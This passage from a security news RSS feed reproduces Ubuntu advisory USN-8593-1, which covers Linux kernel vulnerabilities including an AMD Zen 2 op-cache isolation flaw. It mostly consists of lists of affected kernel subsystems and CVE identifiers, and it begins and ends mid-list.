CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43362, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43371, CVE-2026-43372,
CVE-2026-43373, CVE-2026-43377, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43395,
CVE-2026-43397, CVE-2026-43405, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911,
CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994,
CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120,
CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124,
CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167,
CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280,
CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294,
CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312,
CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8593-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security iss...]]></description>
<link>https://tsecurity.de/de/3688306/unix-server/usn-8593-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688306/unix-server/usn-8593-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 09:46:45 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - x86 platform drivers;
  - PSP security protocol;
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Auxiliary display drivers;
  - Drivers core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - Buffer Sharing and Synchronization framework;
  - DPLL subsystem;
  - EDAC drivers;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - FWCTL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Texas Instruments network drivers;
  - MediaTek network drivers;
  - NVME drivers;
  - Parport drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - TCM subsystem;
  - Thunderbolt and USB4 drivers;
  - TTY drivers;
  - Userspace I/O drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Dual Role (OTG-ready) Controller drivers;
  - USB Serial drivers;
  - USB Type-C support driver;
  - USB Type-C Port Controller Manager driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - DRM TTM subsystem;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Tracing infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory management;
  - Memory Management;
  - Linked list library;
  - Netfilter;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Network shaper API;
  - Network traffic control;
  - TCP network protocol;
  - XFRM subsystem;
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - DMA mapping infrastructure;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - IRQ subsystem;
  - Kexec HandOver (KHO);
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KProbes tracing;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - Ethtool driver;
  - Handshake API;
  - HSR network protocol;
  - IPv4 networking;
  - IPv6 networking;
  - IUCV driver;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - Integrity Measurement Architecture(IMA) framework;
  - Key management;
  - Linux Security Modules (LSM) Framework;
  - SELinux security module;
  - ALSA framework;
  - HD-audio driver;
  - AudioScience HPI driver;
  - FourSemi audio codecs;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - KVM subsystem;
(CVE-2026-43490, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45837, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-46104, CVE-2026-46105, CVE-2026-46106, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46109, CVE-2026-46110, CVE-2026-46111,
CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116,
CVE-2026-46117, CVE-2026-46118, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46134, CVE-2026-46136, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46140, CVE-2026-46141, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46147,
CVE-2026-46148, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46153, CVE-2026-46154, CVE-2026-46156,
CVE-2026-46157, CVE-2026-46158, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46162, CVE-2026-46163, CVE-2026-46164,
CVE-2026-46165, CVE-2026-46166, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46170, CVE-2026-46171, CVE-2026-46172,
CVE-2026-46173, CVE-2026-46174, CVE-2026-46175, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46181, CVE-2026-46182, CVE-2026-46183, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189,
CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46317, CVE-2026-46318,
CVE-2026-46319, CVE-2026-46320, CVE-2026-46321, CVE-2026-46322,
CVE-2026-46324, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913,
CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927,
CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52934,
CVE-2026-52936, CVE-2026-52937, CVE-2026-52941, CVE-2026-52943,
CVE-2026-52944, CVE-2026-52949, CVE-2026-52950, CVE-2026-52951,
CVE-2026-52952, CVE-2026-52953, CVE-2026-52954, CVE-2026-52955,
CVE-2026-52956, CVE-2026-52957, CVE-2026-52958, CVE-2026-52959,
CVE-2026-52960, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963,
CVE-2026-52964, CVE-2026-52965, CVE-2026-52967, CVE-2026-52968,
CVE-2026-52969, CVE-2026-52970, CVE-2026-52971, CVE-2026-52973,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52976, CVE-2026-52977,
CVE-2026-52978, CVE-2026-52979, CVE-2026-52980, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52983, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52987, CVE-2026-52988, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52991, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52994, CVE-2026-52995, CVE-2026-52996, CVE-2026-52997,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53000, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53005,
CVE-2026-53006, CVE-2026-53007, CVE-2026-53008, CVE-2026-53009,
CVE-2026-53010, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013,
CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53017,
CVE-2026-53018, CVE-2026-53019, CVE-2026-53020, CVE-2026-53021,
CVE-2026-53022, CVE-2026-53023, CVE-2026-53024, CVE-2026-53025,
CVE-2026-53026, CVE-2026-53027, CVE-2026-53028, CVE-2026-53029,
CVE-2026-53030, CVE-2026-53031, CVE-2026-53032, CVE-2026-53033,
CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037,
CVE-2026-53038, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53042, CVE-2026-53043, CVE-2026-53044, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53051, CVE-2026-53052, CVE-2026-53053,
CVE-2026-53054, CVE-2026-53055, CVE-2026-53056, CVE-2026-53057,
CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061,
CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53066, CVE-2026-53067, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53070, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53078, CVE-2026-53079, CVE-2026-53080, CVE-2026-53081,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53087, CVE-2026-53088, CVE-2026-53089,
CVE-2026-53090, CVE-2026-53091, CVE-2026-53092, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53095, CVE-2026-53096, CVE-2026-53097,
CVE-2026-53098, CVE-2026-53099, CVE-2026-53100, CVE-2026-53101,
CVE-2026-53102, CVE-2026-53103, CVE-2026-53104, CVE-2026-53105,
CVE-2026-53106, CVE-2026-53107, CVE-2026-53108, CVE-2026-53109,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53113,
CVE-2026-53114, CVE-2026-53115, CVE-2026-53116, CVE-2026-53117,
CVE-2026-53118, CVE-2026-53119, CVE-2026-53120, CVE-2026-53121,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53124, CVE-2026-53125,
CVE-2026-53126, CVE-2026-53127, CVE-2026-53128, CVE-2026-53129,
CVE-2026-53130, CVE-2026-53174, CVE-2026-53277, CVE-2026-53278,
CVE-2026-53279, CVE-2026-53280, CVE-2026-53281, CVE-2026-53282,
CVE-2026-53283, CVE-2026-53284, CVE-2026-53285, CVE-2026-53286,
CVE-2026-53287, CVE-2026-53288, CVE-2026-53289, CVE-2026-53290,
CVE-2026-53291, CVE-2026-53292, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53297, CVE-2026-53298,
CVE-2026-53299, CVE-2026-53300, CVE-2026-53301, CVE-2026-53302,
CVE-2026-53303, CVE-2026-53304, CVE-2026-53305, CVE-2026-53306,
CVE-2026-53307, CVE-2026-53308, CVE-2026-53309, CVE-2026-53310,
CVE-2026-53311, CVE-2026-53312, CVE-2026-53313, CVE-2026-53314,
CVE-2026-53315, CVE-2026-53316, CVE-2026-53317, CVE-2026-53318,
CVE-2026-53319, CVE-2026-53320, CVE-2026-53321, CVE-2026-53322,
CVE-2026-53323, CVE-2026-53324, CVE-2026-53357, CVE-2026-53358,
CVE-2026-53360, CVE-2026-53364, CVE-2026-53365, CVE-2026-53367,
CVE-2026-53368, CVE-2026-53369, CVE-2026-53370, CVE-2026-53371,
CVE-2026-53372, CVE-2026-53373, CVE-2026-53374, CVE-2026-53375,
CVE-2026-53376, CVE-2026-53377, CVE-2026-53378, CVE-2026-53379,
CVE-2026-53380, CVE-2026-63837, CVE-2026-63838, CVE-2026-63839,
CVE-2026-63840, CVE-2026-63841, CVE-2026-63842, CVE-2026-63843,
CVE-2026-63844, CVE-2026-63845, CVE-2026-63846, CVE-2026-63847,
CVE-2026-63848, CVE-2026-63849, CVE-2026-63850, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63853, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63857, CVE-2026-63858, CVE-2026-63859,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63863,
CVE-2026-63864, CVE-2026-63865, CVE-2026-63866, CVE-2026-63875,
CVE-2026-63876, CVE-2026-63877, CVE-2026-63878, CVE-2026-63879,
CVE-2026-63880, CVE-2026-63881, CVE-2026-63882, CVE-2026-63883,
CVE-2026-63884, CVE-2026-63886, CVE-2026-63887, CVE-2026-63888,
CVE-2026-63889, CVE-2026-63890, CVE-2026-63891, CVE-2026-63892,
CVE-2026-63893, CVE-2026-63894, CVE-2026-63895, CVE-2026-63896,
CVE-2026-63897, CVE-2026-63898, CVE-2026-63899, CVE-2026-63900,
CVE-2026-63901, CVE-2026-63902, CVE-2026-63903, CVE-2026-63904,
CVE-2026-63905, CVE-2026-63906, CVE-2026-63907, CVE-2026-63908,
CVE-2026-63909, CVE-2026-63910, CVE-2026-63911, CVE-2026-63912,
CVE-2026-63913, CVE-2026-63914, CVE-2026-63915, CVE-2026-63916,
CVE-2026-63917, CVE-2026-63918, CVE-2026-63919, CVE-2026-63920,
CVE-2026-63921, CVE-2026-63922, CVE-2026-63923, CVE-2026-63924,
CVE-2026-63925, CVE-2026-63926, CVE-2026-63927, CVE-2026-63928,
CVE-2026-63929, CVE-2026-63930, CVE-2026-63931, CVE-2026-63932,
CVE-2026-63933, CVE-2026-63934, CVE-2026-63935, CVE-2026-63936,
CVE-2026-63937, CVE-2026-63938, CVE-2026-63939, CVE-2026-63940,
CVE-2026-63941, CVE-2026-63942, CVE-2026-63943, CVE-2026-63944,
CVE-2026-63945, CVE-2026-63946, CVE-2026-63947, CVE-2026-63948,
CVE-2026-63949, CVE-2026-63950, CVE-2026-63951, CVE-2026-63952,
CVE-2026-63953, CVE-2026-63954, CVE-2026-63955, CVE-2026-63956,
CVE-2026-63957, CVE-2026-63958, CVE-2026-63959, CVE-2026-63960,
CVE-2026-63961, CVE-2026-63962, CVE-2026-63963, CVE-2026-63964,
CVE-2026-63965, CVE-2026-63966, CVE-2026-63967, CVE-2026-63968,
CVE-2026-63969, CVE-2026-63970, CVE-2026-63971, CVE-2026-63972,
CVE-2026-63973, CVE-2026-63974, CVE-2026-63975, CVE-2026-63976,
CVE-2026-63977, CVE-2026-63978, CVE-2026-63979, CVE-2026-63980,
CVE-2026-63981, CVE-2026-63982, CVE-2026-63983, CVE-2026-63984,
CVE-2026-63985, CVE-2026-63986, CVE-2026-63987, CVE-2026-63988,
CVE-2026-63989, CVE-2026-63990, CVE-2026-63991, CVE-2026-63992,
CVE-2026-63993, CVE-2026-63994, CVE-2026-63995, CVE-2026-63996,
CVE-2026-63997, CVE-2026-63998, CVE-2026-63999, CVE-2026-64000,
CVE-2026-64001, CVE-2026-64002, CVE-2026-64003, CVE-2026-64004,
CVE-2026-64005, CVE-2026-64006, CVE-2026-64007, CVE-2026-64008,
CVE-2026-64009, CVE-2026-64010, CVE-2026-64011, CVE-2026-64012,
CVE-2026-64013, CVE-2026-64014, CVE-2026-64015, CVE-2026-64017,
CVE-2026-64018, CVE-2026-64019, CVE-2026-64020, CVE-2026-64021,
CVE-2026-64022, CVE-2026-64023, CVE-2026-64024, CVE-2026-64025,
CVE-2026-64026, CVE-2026-64027, CVE-2026-64029, CVE-2026-64030,
CVE-2026-64031, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64035, CVE-2026-64036, CVE-2026-64037, CVE-2026-64038,
CVE-2026-64039, CVE-2026-64040, CVE-2026-64041, CVE-2026-64042,
CVE-2026-64043, CVE-2026-64044, CVE-2026-64045, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64048, CVE-2026-64049, CVE-2026-64050,
CVE-2026-64051, CVE-2026-64052, CVE-2026-64053, CVE-2026-64054,
CVE-2026-64055, CVE-2026-64056, CVE-2026-64057, CVE-2026-64058,
CVE-2026-64059, CVE-2026-64060, CVE-2026-64061, CVE-2026-64062,
CVE-2026-64063, CVE-2026-64064, CVE-2026-64065, CVE-2026-64066,
CVE-2026-64067, CVE-2026-64068, CVE-2026-64069, CVE-2026-64070,
CVE-2026-64071, CVE-2026-64072, CVE-2026-64073, CVE-2026-64074,
CVE-2026-64075, CVE-2026-64076, CVE-2026-64077, CVE-2026-64078,
CVE-2026-64079, CVE-2026-64080, CVE-2026-64081, CVE-2026-64082,
CVE-2026-64083, CVE-2026-64084, CVE-2026-64085, CVE-2026-64086,
CVE-2026-64087, CVE-2026-64088, CVE-2026-64089, CVE-2026-64090,
CVE-2026-64091, CVE-2026-64093, CVE-2026-64094, CVE-2026-64095,
